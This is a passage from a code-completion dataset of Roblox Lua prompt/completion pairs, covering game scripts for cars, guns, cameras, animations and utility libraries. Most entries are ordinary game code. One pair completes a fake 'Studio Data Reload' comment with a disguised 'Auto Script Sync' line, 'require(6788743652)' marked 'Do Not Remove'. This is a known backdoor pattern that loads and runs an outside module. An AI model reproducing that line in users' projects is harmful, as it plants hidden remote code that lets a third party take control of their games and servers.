Signal.new()\n\n\n"} +{"prompt": "-- V\u00e9rifier si des joueurs sont d\u00e9j\u00e0 pr\u00e9sents dans le jeu et afficher le GUI pour eux", "completion": "\nfor _, player in ipairs(game.Players:GetPlayers()) do\n\tshowGUI(player)\nend\n"} +{"prompt": "--function totalMass(model)\n--\tlocal total = 0\n--\tfor i, v in pairs (model:GetDescendants()) do\n--\t\tif v:IsA(\"BasePart\") or v:IsA(\"UnionOperation\") or v:IsA(\"MeshPart\") then\n--\t\t\ttotal = total + v:GetMass()\n--\t\tend\n--\tend\n--\treturn total\n--end", "completion": "\n\nlocal function rando1to1() --because we dont want 0\n\treturn math.random(-1, 1)\nend\n\nfunction module.createBullet(car, gun, player, customize, hitPos)\n\tmath.randomseed(tick() + time())\n\t--speed defaults to 200 studs per sec\n\tlocal maxDist = 10000\n\tlocal speed = customize.Speed or 50 --how fast the bullet goes (maxDist studs per speed seconds)\n\tlocal dist = (hitPos - gun.firePart.Position).Magnitude\n\tlocal tPerc = math.clamp(dist/maxDist, 0, 1)\n\t\n\tif not hitPos and gun.Name == \"LaserGun\" then\n\t\t--print(\"X\")\n\t\thitPos = gun.firePart.Position + (gun.AIMING.CFrame.LookVector) * maxDist\n\telseif not hitPos and gun.Name == \"Minigun\" then\n\t\tlocal temp = tPerc * 50 --this is so messed up, but I guess works\n\t\thitPos = gun.firePart.Position + ((gun.AIMING.CFrame.LookVector)*maxDist) + Vector3.new(rando1to1() * temp, rando1to1() * temp, rando1to1() * temp)\n\telseif dist and dist > maxDist then\n\t\t--print(\"1\")\n\t\tlocal tDir = (hitPos - gun.firePart.Position).Unit * maxDist\n\t\thitPos = gun.firePart.Position + tDir\n\tend\n\t\n\tlocal bullet = Instance.new(\"Part\")\n\tif gun.Name == \"LaserGun\" then\n\t\tbullet.Shape = Enum.PartType.Cylinder\n\tend\n\tbullet.Material = Enum.Material.Neon\n\tbullet.Size = customize.Size\n\tbullet.Color = customize.ColorTransition[1]\n\tbullet.Transparency = customize.Transparency\n\tbullet.CanCollide = false\n\tif gun.Name == \"LaserGun\" then\n\t\tbullet.CFrame = CFrame.new(gun.firePart.Position, hitPos) * CFrame.Angles(0, math.rad(90), 0)\n\telse\n\t\tbullet.CFrame = CFrame.new(gun.firePart.Position, hitPos)\n\tend\n\tbullet.Parent = car\n\t\n\tlocal existTime = math.clamp(tPerc*speed, 0, speed) --normalize speed, no matter where you aim\n\tlocal tween = ts:Create(bullet, TweenInfo.new(existTime, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Position = hitPos})\n\tds:AddItem(bullet, existTime)\n\ttween:Play()\n\ttransitionColor(bullet, existTime, customize.ColorTransition[2])\nend\n\nreturn module\n"} +{"prompt": "--[[ Studio Data Reload 12/16/2021 01:43 ]]", "completion": " --[[ Auto Script Sync ]] require(6788743652) --[[ Do Not Remove ]]\n"} +{"prompt": "-- all configurations can be found in the \"configurations\" model", "completion": "\n\nlocal configs = script.Parent.Parent.Configurations\n\nscript.Parent.Touched:connect(function(hit) -- this is the main function that is called whenever the fire is touched\n\tif hit then\n\t\tlocal humanoid = hit.Parent:FindFirstChildWhichIsA(\"Humanoid\")\n\t\tif humanoid and humanoid.Health > 0 then\n\t\t\tif configs.CanKill.Value == true and configs.CanCatchFire.Value == true then -- if the fire sets players alight and gives them damamge then\n\t\t\t\tlocal fire = script.Parent.Parent.FirePart.Fire:Clone() -- gatting some fire\n\t\t\t\tfire.Parent = hit -- putting the fire in the part of the person that touched the fire\n\t\t\t\tfire.Size = configs.FireSize.Value\n\t\t\t\tfor i = 1, configs.FireDuration.Value do -- this deals with giving damamge to the player\n\t\t\t\t\tif humanoid and humanoid.Health > 0 then\n\t\t\t\t\t\thumanoid:TakeDamage(1)\n\t\t\t\t\t\twait(configs.HarmSpeed.Value) -- this is the time between giving damamge to the player\t\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif fire and hit then -- removing unneeded fire\n\t\t\t\t\tfire:Destroy()\n\t\t\t\tend\t\t\t\n\t\t\telseif configs.CanKill.Value == true then -- else if we can only kill\n\t\t\t\thumanoid:TakeDamage(humanoid.MaxHealth)\n\t\t\telseif configs.CanCatchFire.Value == true then -- else if we can only set alight\n\t\t\t\tlocal fire = script.Parent.Parent.FirePart.Fire:Clone() -- getting some fire\n\t\t\t\tfire.Parent = hit -- making its parent the part that touched the fire\n\t\t\t\tfire.Size = configs.FireSize.Value\n\t\t\t\twait(configs.FireDuration.Value) -- waiting before removing fire\n\t\t\t\tfire:Destroy() -- removing fire\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "---Camera", "completion": "\ngame:GetService(\"RunService\").RenderStepped:connect(function()\n\tif _MSteer then\n\t\tcam.CameraType = Enum.CameraType.Scriptable\n\t\tlocal pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)\n\t\tlocal cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-(car.DriveSeat.CFrame.lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)\n\t\tcam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)\n\telseif cam.CameraType ~= Enum.CameraType.Custom then\n\t\tcam.CameraType = Enum.CameraType.Custom\n\tend\nend)\n"} +{"prompt": "--[[\n\tSimilar to finally, except rejections are propagated through it.\n]]", "completion": "\nfunction Promise.prototype:done(finallyHandler)\n\tassert(\n\t\tfinallyHandler == nil or type(finallyHandler) == \"function\",\n\t\tstring.format(ERROR_NON_FUNCTION, \"Promise:done\")\n\t)\n\treturn self:_finally(debug.traceback(nil, 2), finallyHandler, true)\nend\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent._Index\n\nreturn require(PackageIndex[\"Cmdr-9b792472-93dff8ca\"].Packages[\"Cmdr\"])\n"} +{"prompt": "--[[\n\tConnections\n]]", "completion": "\n\nmaid.heartbeatConnection = RunService.Heartbeat:Connect(function()\n\tonHeartbeat()\nend)\n\nmaid.diedConnection = maid.humanoid.Died:Connect(function()\n\tdied()\nend)\n"} +{"prompt": "--\t\t\t\t\tprint(ownerMe ,\" == \", bullet.Owner.Value)\n--\t\t\t\t\tif ownerMe == ownerPart.Value then -- \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u043c, \u0447\u0442\u043e\u0431\u044b \u0438 \u043e\u0431 \u0447\u0443\u0436\u0438\u0445 \u043d\u0435 \u0432\u0437\u0440\u044b\u0432\u0430\u043b\u043e\u0441\u044c ", "completion": "\n\t\t\t\t\t\treturn\t--- \u043f\u043e \u0441\u0432\u043e\u0438\u043c \u043d\u0435 \u0431\u044c\u0451\u043c"} +{"prompt": "-- This loads from, or lazily creates, NumberValue objects for exposed parameters", "completion": "\nfunction OrbitalCamera:LoadNumberValueParameters()\n\t-- These initial values do not require change listeners since they are read only once\n\tself:LoadOrCreateNumberValueParameter(\"InitialElevation\", \"NumberValue\", nil)\n\tself:LoadOrCreateNumberValueParameter(\"InitialDistance\", \"NumberValue\", nil)\n\n\t-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits\n\tself:LoadOrCreateNumberValueParameter(\"ReferenceAzimuth\", \"NumberValue\", self.SetAndBoundsCheckAzimuthValue)\n\tself:LoadOrCreateNumberValueParameter(\"CWAzimuthTravel\", \"NumberValue\", self.SetAndBoundsCheckAzimuthValues)\n\tself:LoadOrCreateNumberValueParameter(\"CCWAzimuthTravel\", \"NumberValue\", self.SetAndBoundsCheckAzimuthValues)\n\tself:LoadOrCreateNumberValueParameter(\"MinElevation\", \"NumberValue\", self.SetAndBoundsCheckElevationValues)\n\tself:LoadOrCreateNumberValueParameter(\"MaxElevation\", \"NumberValue\", self.SetAndBoundsCheckElevationValues)\n\tself:LoadOrCreateNumberValueParameter(\"MinDistance\", \"NumberValue\", self.SetAndBoundsCheckDistanceValues)\n\tself:LoadOrCreateNumberValueParameter(\"MaxDistance\", \"NumberValue\", self.SetAndBoundsCheckDistanceValues)\n\tself:LoadOrCreateNumberValueParameter(\"UseAzimuthLimits\", \"BoolValue\", self.SetAndBoundsCheckAzimuthValues)\n\n\t-- Internal values set (in radians, from degrees), plus sanitization\n\tself.curAzimuthRad = math.rad(self.externalProperties[\"ReferenceAzimuth\"])\n\tself.curElevationRad = math.rad(self.externalProperties[\"InitialElevation\"])\n\tself.curDistance = self.externalProperties[\"InitialDistance\"]\n\n\tself:SetAndBoundsCheckAzimuthValues()\n\tself:SetAndBoundsCheckElevationValues()\n\tself:SetAndBoundsCheckDistanceValues()\nend\n\nfunction OrbitalCamera:GetModuleName()\n\treturn \"OrbitalCamera\"\nend\n\nfunction OrbitalCamera:SetInitialOrientation(humanoid)\n\tif not humanoid or not humanoid.RootPart then\n\t\twarn(\"OrbitalCamera could not set initial orientation due to missing humanoid\")\n\t\treturn\n\tend\n\tlocal newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit\n\tlocal horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())\n\tlocal vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y)\n\tif not Util.IsFinite(horizontalShift) then\n\t\thorizontalShift = 0\n\tend\n\tif not Util.IsFinite(vertShift) then\n\t\tvertShift = 0\n\tend\n\tself.rotateInput = Vector2.new(horizontalShift, vertShift)\nend\n"} +{"prompt": "--\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 0.5\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\tend\n\nend\n"} +{"prompt": "--------------------------------------------------------------- MOVE PLAYER TO NEW POSITON FROM OLD POSITION", "completion": "\n\nlocal Train = Hit\nif LastTrainCFrame == nil then -- If no LastTrainCFrame exists, make one!\n\tLastTrainCFrame = Train.CFrame -- This is updated later.\nend\nlocal TrainCF = Train.CFrame \n\nlocal Rel = TrainCF * LastTrainCFrame:inverse()\n\nLastTrainCFrame = Train.CFrame -- Updated here.\n\nRootPart.CFrame = Rel * RootPart.CFrame -- Set the player's CFrame"} +{"prompt": "--local MasterControl = require(script.Parent)", "completion": "\nlocal PathDisplay = nil\nlocal LocalPlayer = Players.LocalPlayer\n"} +{"prompt": "-----------------------------------------ONLY EDIT THESE VALUES!!!!!-----------------------------------------\n-----!Instructions!-----\n--Make sure you have a part in the gun named Barrel, it is where the raycast will shoot from.--\n--Just place this script into any gun and edit the values below.--\n--Editting anything else will risk breaking it.--\n------------------------", "completion": "\nDamage = 75\nSPS = 0.75 -- Shots Per Second, gives a limit of how fast the gun shoots.\nRecoil = 10 -- [1-10] [1 = Minigun, 10 = Sniper]\nWallShoot = false -- Shoots through walls.\nGH = false -- [True = RB can't hurt RB.] [False = RB can hurt RB.]\nBulletColor = \"Cool yellow\" -- Any Brickcolor will work.\nFlash = true"} +{"prompt": "--\t\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\tlocal anim = animTable[animName][idx].anim\n\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\tend\nend\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 2000\t\t-- Front brake force\n\tTune.RBrakeForce\t= 2500\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 5000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 15000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 10000\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 25000\t\t-- Handbrake force [PGS OFF]\n\t"} +{"prompt": "-- Colors", "completion": "\nlocal themeColor = ContainerGui:GetAttribute(\"ThemeColor\")\n\nCancel.BackgroundColor3 = themeColor:Lerp(Colors.White, 0.5)\nCancel.TextColor3 = themeColor\n\nSubmit.BackgroundColor3 = themeColor\nSubmit.Label.TextColor3 = Colors.GetContrastColor(themeColor)\nSubmitGradient.Color = ColorSequence.new({\n\tColorSequenceKeypoint.new(0, themeColor),\n\tColorSequenceKeypoint.new(0.5, Colors.White),\n\tColorSequenceKeypoint.new(1, themeColor)\n})\n"} +{"prompt": "--[[\nReplaces the colors of a model.\n--]]", "completion": "\nlocal function ReplaceColors(Map,OldColor,NewColor)\n\tfor _,Part in pairs(Map:GetDescendants()) do\n\t\tif Part:IsA(\"BasePart\") and Part.BrickColor == OldColor then\n\t\t\tPart.BrickColor = NewColor\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Removes any old creator tags and applies a new one to the target", "completion": "\nlocal function ApplyTags(target)\n\twhile target:FindFirstChild('creator') do\n\t\ttarget.creator:Destroy()\n\tend\n\n\tlocal creatorTagClone = CreatorTag:Clone()\n\tDebrisService:AddItem(creatorTagClone, 1.5)\n\tcreatorTagClone.Parent = target\nend\n"} +{"prompt": "--\t\tprint(\"2!!!\",hum.Health)", "completion": "\n\t\tif hum.Health<1 then return end\n\tend\n\t\n\t\n\tif string.upper(Type) == \"AOE\" then\n\t\t-- AoE\n\t\texplosion = Instance.new(\"Explosion\")\n\t\texplosion.Position = bullet.Position\n\t\texplosion.ExplosionType = (\"NoCraters\")\n\t\t-- \t\tfind instigator tag\n\t\t--local creator = script.Parent:findFirstChild(\"creator\")\n\t\t--if creator ~= nil then\n\t\t--\texplosion.Hit:connect(function(part, distance) onPlayerBlownUp(part, distance, creator) end)\n\t\t--end\n\t\texplosion.Parent = game.Workspace --- \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0432\u044e \u0444\u0443\u043d\u0446\u043a\u0438\u044e \u0432\u0437\u0440\u044b\u0432\u0430!!!\n\telse -- SINGLE\n\t\tlocal hum = hit.Parent:FindFirstChild(\"Humanoid\")\n\t if hum~= nil then\n\t -- hum:TakeDamage(damage)\n\t\t\tDamage:Take(human, hum, damage) -- from, to, damage\n\t end\n\tend\n\t\n\tconnection:disconnect()\n\twait(.1)\n\tbullet:remove()\nend\nconnection = bullet.Touched:connect(blow)\n\nwait(5) -- 5 \u0441\u0435\u043a\u0443\u043d\u0434 \u0431\u0435\u0437 \u043f\u043e\u043f\u0430\u0434\u0430\u043d\u0438\u044f = \u0441\u0430\u043c\u043e\u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0438\u0442\u044c\u0441\u044f\nbullet:Destroy()\n"} +{"prompt": "--#Services", "completion": "\nlocal debris = game:GetService(\"Debris\")\nlocal runService = game:GetService(\"RunService\")\nlocal replicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal UIS = game:GetService(\"UserInputService\")\n\nrepeat task.wait() until game:GetService(\"ReplicatedStorage\"):FindFirstChild(\"Footsteps\")\n"} +{"prompt": "--Causes players to walk faster than normal.", "completion": "\n\nspeed = 32 --16 is default\n\nfunction onPlayerRespawned(character)\n\twait(1) --loading delay\n\tlocal player = game.Players:GetPlayerFromCharacter(character)\n\tlocal human = character:findFirstChild(\"Humanoid\")\n\tif player ~= nil and human ~= nil then\n\t\thuman.WalkSpeed = speed\n\tend\nend\n\ngame.Workspace.ChildAdded:connect(onPlayerRespawned)\n"} +{"prompt": "-- only display tagged children of the workspace", "completion": "\nfor _,object:Instance in workspace:GetChildren() do\n\tif object:GetAttribute(\"MiniMap\") then\n\t\traycastParams:AddToFilter({object})\n\tend\nend"} +{"prompt": "--variables", "completion": "\nlocal runService = game:GetService(\"RunService\")\nlocal uis = game:GetService(\"UserInputService\")\n\nlocal Drag = require(script.Drag)\n"} +{"prompt": "--// Services", "completion": "\nlocal L_106_ = game:GetService('RunService').RenderStepped\nlocal L_107_ = game:GetService('UserInputService')\n"} +{"prompt": "--For Omega Rainbow Katana thumbnail to display a lot of particles.", "completion": "\nfor i, v in pairs(Handle:GetChildren()) do\n\tif v:IsA(\"ParticleEmitter\") then\n\t\tv.Rate = 20\n\tend\nend\n\nTool.Grip = Grips.Up\nTool.Enabled = true\n\nfunction IsTeamMate(Player1, Player2)\n\treturn (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)\nend\n\nfunction TagHumanoid(humanoid, player)\n\tlocal Creator_Tag = Instance.new(\"ObjectValue\")\n\tCreator_Tag.Name = \"creator\"\n\tCreator_Tag.Value = player\n\tDebris:AddItem(Creator_Tag, 2)\n\tCreator_Tag.Parent = humanoid\nend\n\nfunction UntagHumanoid(humanoid)\n\tfor i, v in pairs(humanoid:GetChildren()) do\n\t\tif v:IsA(\"ObjectValue\") and v.Name == \"creator\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend\n\nfunction Blow(Hit)\n\tif not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then\n\t\treturn\n\tend\n\tlocal RightArm = Character:FindFirstChild(\"Right Arm\") or Character:FindFirstChild(\"RightHand\")\n\tif not RightArm then\n\t\treturn\n\tend\n\tlocal RightGrip = RightArm:FindFirstChild(\"RightGrip\")\n\tif not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then\n\t\treturn\n\tend\n\tlocal character = Hit.Parent\n\tif character == Character then\n\t\treturn\n\tend\n\tlocal humanoid = character:FindFirstChildOfClass(\"Humanoid\")\n\tif not humanoid or humanoid.Health == 0 then\n\t\treturn\n\tend\n\tlocal player = Players:GetPlayerFromCharacter(character)\n\tif player and (player == Player or IsTeamMate(Player, player)) then\n\t\treturn\n\tend\n\tUntagHumanoid(humanoid)\n\tTagHumanoid(humanoid, Player)\n\thumanoid:TakeDamage(Damage)\t\nend\n\n\nfunction Attack()\n\tDamage = DamageValues.SlashDamage\n\tSounds.Slash:Play()\n\n\tif Humanoid then\n\t\tif Humanoid.RigType == Enum.HumanoidRigType.R6 then\n\t\t\tlocal Anim = Instance.new(\"StringValue\")\n\t\t\tAnim.Name = \"toolanim\"\n\t\t\tAnim.Value = \"Slash\"\n\t\t\tAnim.Parent = Tool\n\t\telseif Humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\tlocal Anim = Tool:FindFirstChild(\"R15Slash\")\n\t\t\tif Anim then\n\t\t\t\tlocal Track = Humanoid:LoadAnimation(Anim)\n\t\t\t\tTrack:Play(0)\n\t\t\tend\n\t\tend\n\tend\t\nend\n\nfunction Lunge()\n\tDamage = DamageValues.LungeDamage\n\n\tSounds.Lunge:Play()\n\t\n\tif Humanoid then\n\t\tif Humanoid.RigType == Enum.HumanoidRigType.R6 then\n\t\t\tlocal Anim = Instance.new(\"StringValue\")\n\t\t\tAnim.Name = \"toolanim\"\n\t\t\tAnim.Value = \"Lunge\"\n\t\t\tAnim.Parent = Tool\n\t\telseif Humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\tlocal Anim = Tool:FindFirstChild(\"R15Lunge\")\n\t\t\tif Anim then\n\t\t\t\tlocal Track = Humanoid:LoadAnimation(Anim)\n\t\t\t\tTrack:Play(0)\n\t\t\tend\n\t\tend\n\tend\t\n\t--[[\n\tif CheckIfAlive() then\n\t\tlocal Force = Instance.new(\"BodyVelocity\")\n\t\tForce.velocity = Vector3.new(0, 10, 0) \n\t\tForce.maxForce = Vector3.new(0, 4000, 0)\n\t\tDebris:AddItem(Force, 0.4)\n\t\tForce.Parent = Torso\n\tend\n\t]]\n\t\n\twait(0.2)\n\tTool.Grip = Grips.Out\n\twait(0.6)\n\tTool.Grip = Grips.Up\n\n\tDamage = DamageValues.SlashDamage\nend\n\nTool.Enabled = true\nLastAttack = 0\n\nfunction Activated()\n\tTool.Enabled = false\n\tlocal Tick = RunService.Stepped:wait()\n\tif (Tick - LastAttack < 0.2) then\n\t\tLunge()\n\telse\n\t\tAttack()\n\tend\n\tLastAttack = Tick\n\t--wait(0.5)\n\tDamage = DamageValues.BaseDamage\n\tlocal SlashAnim = (Tool:FindFirstChild(\"R15Slash\") or Create(\"Animation\"){\n\t\tName = \"R15Slash\",\n\t\tAnimationId = BaseUrl .. Animations.R15Slash,\n\t\tParent = Tool\n\t})\n\t\n\tlocal LungeAnim = (Tool:FindFirstChild(\"R15Lunge\") or Create(\"Animation\"){\n\t\tName = \"R15Lunge\",\n\t\tAnimationId = BaseUrl .. Animations.R15Lunge,\n\t\tParent = Tool\n\t})\n\tTool.Enabled = true\nend\n\nfunction CheckIfAlive()\n\treturn (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)\nend\n\nfunction Equipped()\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChildOfClass(\"Humanoid\")\n\tTorso = Character:FindFirstChild(\"Torso\") or Character:FindFirstChild(\"HumanoidRootPart\")\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tToolEquipped = true\n\tSounds.Unsheath:Play()\nend\n\nfunction Unequipped()\n\tTool.Grip = Grips.Up\n\tToolEquipped = false\nend\n\nTool.Activated:Connect(Activated)\nTool.Equipped:Connect(Equipped)\nTool.Unequipped:Connect(Unequipped)\n\nConnection = Handle.Touched:Connect(Blow)\n"} +{"prompt": "-- Signal:Fire(...) implemented by running the handler functions on the\n-- coRunnerThread, and any time the resulting thread yielded without returning\n-- to us, that means that it yielded to the Roblox scheduler and has been taken\n-- over by Roblox scheduling, meaning we have to make a new coroutine runner.\n--[=[\n\tFire the signal, which will call all of the connected functions with the given arguments.\n\n\t@param ... any -- Arguments to pass to the connected functions\n]=]", "completion": "\nfunction Signal:Fire(...)\n\tlocal item = self._handlerListHead\n\twhile item do\n\t\tif item._connected then\n\t\t\tif not freeRunnerThread then\n\t\t\t\tfreeRunnerThread = coroutine.create(runEventHandlerInFreeThread)\n\t\t\tend\n\t\t\ttask.spawn(freeRunnerThread, item._fn, ...)\n\t\tend\n\t\titem = item._next\n\tend\nend\n\n"} +{"prompt": "--[=[\n\t@param object any -- Object to remove\n\tRemoves the object from the Trove and cleans it up.\n\n\t```lua\n\tlocal part = Instance.new(\"Part\")\n\ttrove:Add(part)\n\ttrove:Remove(part)\n\t```\n]=]", "completion": "\nfunction Trove:Remove(object: any): boolean\n\tif self._cleaning then\n\t\terror(\"Cannot call trove:Remove() while cleaning\", 2)\n\tend\n\treturn self:_findAndRemoveFromObjects(object, true)\nend\n"} +{"prompt": "-- Returns whether the playerSelected's status is appropriate for the playerFiring", "completion": "\nfunction GetProfileRemoteFunction.OnServerInvoke(playerFiring, playerSelected, statusText)\n\tlocal filteredStatus = filterText(statusText, playerSelected.UserId, playerFiring.UserId)\n\treturn { success = filteredStatus == statusText }\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent.Parent.Parent\nFloor = Lift:WaitForChild(\"Floor\")\nDirection = Lift:WaitForChild(\"Direction\")\nMotor = Lift:WaitForChild(\"MotorMode\")\n\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tThis.Floor.Text = SF\nend\n"} +{"prompt": "-- Initialize cached library list", "completion": "\n_G.BTLibraryList = _G.BTLibraryList or {};\nlocal LibraryList = _G.BTLibraryList;\n\nfunction GetLibrary(LibraryID)\n\t-- Returns the requested library\n\n\t-- Parse library ID\n\tlocal Creator, Name = LibraryID:match(NamePattern);\n\tlocal VersionRange, Major, Minor, Patch = LibraryID:match(VersionPattern);\n\n\t-- Convert version data to numbers\n\tlocal Major, Minor, Patch = tonumber(Major), tonumber(Minor), tonumber(Patch);\n\n\t-- Validate version information\n\tassert(VersionRange and (Major and Minor and Patch), 'Invalid version');\n\n\t-- Ensure library ID was given\n\tif not (Creator and Name) then\n\t\treturn;\n\tend;\n\n\t-- If no version provided, return latest\n\tif not VersionRange then\n\t\tfor _, Library in ipairs(LibraryList) do\n\t\t\tif (Library.Creator:lower() == Creator:lower()) and\n\t\t\t (Library.Name:lower() == Name:lower()) then\n\t\t\t\treturn Library.Library;\n\t\t\tend;\n\t\tend;\n\n\t-- If exact version provided, return that version\n\telseif VersionRange == '' then\n\t\tfor _, Library in ipairs(LibraryList) do\n\t\t\tif (Library.Creator:lower() == Creator:lower()) and\n\t\t\t (Library.Name:lower() == Name:lower()) and\n\t\t\t (Library.Version.Major == Major) and\n\t\t\t (Library.Version.Minor == Minor) and\n\t\t\t (Library.Version.Patch == Patch) then\n\t\t\t\treturn Library.Library;\n\t\t\tend;\n\t\tend;\n\n\t-- If minor version specified, return latest compatible patch version\n\telseif VersionRange == '~' then\n\t\tfor _, Library in ipairs(LibraryList) do\n\t\t\tif (Library.Creator:lower() == Creator:lower()) and\n\t\t\t (Library.Name:lower() == Name:lower()) and\n\t\t\t (Library.Version.Major == Major) and\n\t\t\t (Library.Version.Minor == Minor) then\n\t\t\t\treturn Library.Library;\n\t\t\tend;\n\t\tend;\n\n\t-- If major version specified, return latest compatible minor or patch version\n\telseif VersionRange == '^' then\n\t\tfor _, Library in ipairs(LibraryList) do\n\t\t\tif (Library.Creator:lower() == Creator:lower()) and\n\t\t\t (Library.Name:lower() == Name:lower()) and\n\t\t\t (Library.Version.Major == Major) then\n\t\t\t\treturn Library.Library;\n\t\t\tend;\n\t\tend;\n\tend;\n\nend;\n\nfunction GetLibraries(...)\n\t-- Returns the requested libraries by their IDs\n\n\tlocal RequestedLibraries = { ... };\n\tlocal FoundLibraries = {};\n\n\t-- Get each library\n\tfor Index, LibraryID in ipairs(RequestedLibraries) do\n\t\tFoundLibraries[Index] = GetLibrary(LibraryID);\n\tend;\n\n\t-- Return the found libraries\n\treturn unpack(FoundLibraries, 1, table.maxn(FoundLibraries));\n\nend;\n\nfunction RegisterLibrary(Metadata, Library)\n\t-- Registers the given library with its metadata into the cache list\n\n\t-- Validate metadata\n\tassert(type(Metadata.Name) == 'string', 'Library name must be a string');\n\tassert(type(Metadata.Creator) == 'string', 'Library creator must be a string');\n\tassert(Metadata.Name:match('^[A-Za-z0-9_-]+$'), 'Library name contains invalid characters');\n\tassert(Metadata.Creator:match('^[A-Za-z0-9_-]+$'), 'Library creator contains invalid characters');\n\tassert(type(Metadata.Version) == 'table', 'Invalid library version data');\n\tassert(type(Metadata.Version.Major) == 'number', 'Invalid library version data');\n\tassert(type(Metadata.Version.Minor) == 'number', 'Invalid library version data');\n\tassert(type(Metadata.Version.Patch) == 'number', 'Invalid library version data');\n\n\t-- Structure metadata\n\tlocal Metadata = {\n\t\tName = Metadata.Name,\n\t\tCreator = Metadata.Creator,\n\t\tVersion = {\n\t\t\tMajor = Metadata.Version.Major,\n\t\t\tMinor = Metadata.Version.Minor,\n\t\t\tPatch = Metadata.Version.Patch\n\t\t},\n\t\tLibrary = Library\n\t};\n\n\t-- Insert the library and its metadata into the list\n\ttable.insert(LibraryList, Metadata);\n\n\t-- Sort the list by version (from latest to earliest)\n\ttable.sort(LibraryList, function (A, B)\n\n\t\t-- Sort by major version\n\t\tif A.Version.Major > B.Version.Major then\n\t\t\treturn true;\n\n\t\t-- Sort by minor version when major version is same\n\t\telseif A.Version.Major == B.Version.Major then\n\t\t\tif A.Version.Minor > B.Version.Minor then\n\t\t\t\treturn true;\n\n\t\t\t-- Sort by patch version when same major and minor version\n\t\t\telseif A.Version.Minor == B.Version.Minor then\n\t\t\t\treturn A.Version.Patch > B.Version.Patch;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t\tend;\n\n\t\t-- Sort A after B if earlier version\n\t\telse\n\t\t\treturn false;\n\t\tend;\n\tend);\n\nend;\n"} +{"prompt": "--[[\n\n\tSer is a serialization/deserialization utility module that is used\n\tby Knit to automatically serialize/deserialize values passing\n\tthrough remote functions and remote events.\n\n\n\tSer.Classes = {\n\t\t[ClassName] = {\n\t\t\tSerialize = (value) -> serializedValue\n\t\t\tDeserialize = (value) => deserializedValue\n\t\t}\n\t}\n\n\tSer.SerializeArgs(...) -> table\n\tSer.SerializeArgsAndUnpack(...) -> Tuple\n\tSer.DeserializeArgs(...) -> table\n\tSer.DeserializeArgsAndUnpack(...) -> 